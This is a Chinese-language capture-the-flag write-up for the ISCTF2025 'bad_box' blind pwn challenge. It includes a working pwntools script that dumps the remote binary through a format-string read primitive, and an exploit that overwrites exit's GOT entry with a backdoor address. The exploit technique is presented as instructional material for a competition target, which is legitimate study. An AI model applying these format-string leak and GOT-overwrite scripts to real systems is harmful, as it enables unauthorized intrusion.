bad_box
这题没给我们附件,是一道Blind(盲打),我们首先看到没有什么选项,直接让我们输入
.png)
这种情况下大多数都是有格式化字符串漏洞,我们试一下
.png)
这里它确实复读了我输入的内容,但是并没有泄露,我又输入了一长串的%p,这次又每个%p泄露了,所以我猜测这里会根据输入的长度来判断是否会触发格式化字符串,经过我的测试
.png)
前面31个A最后一个%p刚好能触发格式化字符串漏洞,那我们就可以根据这个来利用%s把源代码泄露了
%s (String):printf 会把栈上的这个数据当作一个指针(内存地址),它会跳转到这个地址指向的内存区域,去读取在那里的字节,直到遇到 \x00 为止。
效果:printf 不会打印 0x400000,而是去内存 0x400000 处,把那里的内容(比如 \x7fELF...)打印出来。
用途:这就是“解引用”(Dereference)。只要我们能把想读的地址放到栈上,再用 %s 指向它,我们就能读到那个地址里的内容。
我们测试会发现(nil)-0x401275-0x16daeb3d0-0x7ffc6daeb3e8-(nil)-这里有0x401275,那我们就能知道这里no pie,那我们就能从 0x400000开始,利用%s把整个文件泄露出来
那我们现在要找到正确的偏移量
.png)
我们可以看到偏移量是8
那我们的泄露部分可以写成:
fmt = f'%{target_offset}$s||||'.encode()
payload = fmt.ljust(header_len, b'A')
payload += p64(current_addr)
这里为保险起见我把header_len设为40,即我们的总长是48,注意,我们这里的长度必须是8的倍数,不然会导致地址错位(这里是64位地址是8字节的),但我们把要打印的放在开头时我们的偏移量是8,那我们前面填充了40字节,我们偏移量就要8+40/8=13,即用%13$s这样指向的就是我们放在结尾的我们要打印其内容的地址
这里是泄露二进制漏洞的脚本:
from pwn import *
HOST = 'challenge.bluesharkinfo.com'
PORT = 24170
context.log_level = 'error'
def stable_dump_to_file():
target_offset = 13
header_len = 40
start_addr = 0x400000
end_addr = 0x401000
print(f"[*] 开始稳定 Dump: {hex(start_addr)} -> {hex(end_addr)}")
print("[*] 结果将保存到: dumped_bin")
print("-" * 40)
current_addr = start_addr
f = open('dumped_bin', 'wb') #open(...):#意思是“打开(或创建)一个文件”。'dumped_bin':是文件名。'wb':意思是“Write Binary”(以二进制写入模式打开)。f:这就是你给这个打开的文件起的名字。
while current_addr < end_addr:
try:
r = remote(HOST, PORT)
r.recvuntil(b'Have fun', drop=True)
r.recv(timeout=0.2)
fmt = f'%{target_offset}$s||||'.encode()#.encode是把str转换成bytes,因为我们下面是用bytes
payload = fmt.ljust(header_len, b'A')#这里的A是bytes,如果fmt不是同种形式就不能运行ljust
payload += p64(current_addr)#这里也是bytes
r.sendline(payload)
leak = r.recvuntil(b'||||', drop=True, timeout=2)
r.close()
if not leak:
byte = b'\x00'
else:
byte = leak[0:1]#取第一字节
f.write(byte)#写入
f.flush() #这个是强制直接把write的数据写入硬盘,如果没有这个的话,会先把数据放入缓冲区,如果中途脚本崩溃了,缓冲区的数据就没了,这里是增加稳定性
print(f"\r[{hex(current_addr)}] Got: {byte.hex()} ", end='')#单行刷新的进度条(让数字在同一行跳动,而不是疯狂换行刷屏)
#\r的意思是:把光标移回到当前行的最开头,当你下一次打印内容时,新的文字会覆盖掉这一行旧的文字
#end=''的意思是:打印完这一句话后,不要换行(不要按回车键),print 函数默认会在结尾自动加一个换行符 (\n)。每打印一次,光标就跳到下一行。
current_addr += 1
except KeyboardInterrupt:
print("\n[-] 用户停止")
break
except Exception as e:# 捕获所有错误
continue# 跳过本次循环剩下的代码,直接开始下一次循环,
#如果出现问题,try就不会执行地址+1,而会执行这个,我们还是读目前地址的内容,相当于自动重试机制
f.close()
print(f"\n\n[+] Dump 完成!文件已保存为 dumped_bin")
print("[+] 请运行: objdump -R dumped_bin 查找 GOT 表")
if __name__ == '__main__':
stable_dump_to_file()
这里我选择了每次只读一字节(我们知道一个地址只存1字节,我们每次就只读这个地址的内容,因为printf一直读到\x00才停止,可能一次泄露多个地址的值),虽然有点慢,但是稳定,这里原文件比较小,我们可以直接整个泄露出来
我们把泄露出来的二进制文件用ida看

有后门函数,逻辑就是很简单的一个格式化字符串漏洞
这里我们是用不了checksec的,因为有一些部分题目根本就没映射到内存中,所以checksec判定我们的文件是不完整的,那些部分对我们解题是没有影响的,我们这里可以先尝试是否能修改got表,因为没有其他明显的利用漏洞了,我们发现是可以的,那我们就可以把exit的got表修改成后门函数的地址,偏移我们前面也找到了是8
EXP:
from pwn import *
context(arch='amd64', os='linux', log_level='debug')
p = process('./pwn')
#p = remote('challenge.bluesharkinfo.com',22338)
backdoor = 0x40125B
offset = 8
p.recvuntil(b'Have fun')
exit_got = 0x4033A0
payload = fmtstr_payload(offset, {exit_got: backdoor}, write_size='short')
if len(payload) <= 32:
payload += b'A' * (33 - len(payload))
p.send(payload)
p.interactive()
题目链接:
CTF-Writeups/ISCTF2025/bad_box at main · ZenDuk17/CTF-Writeups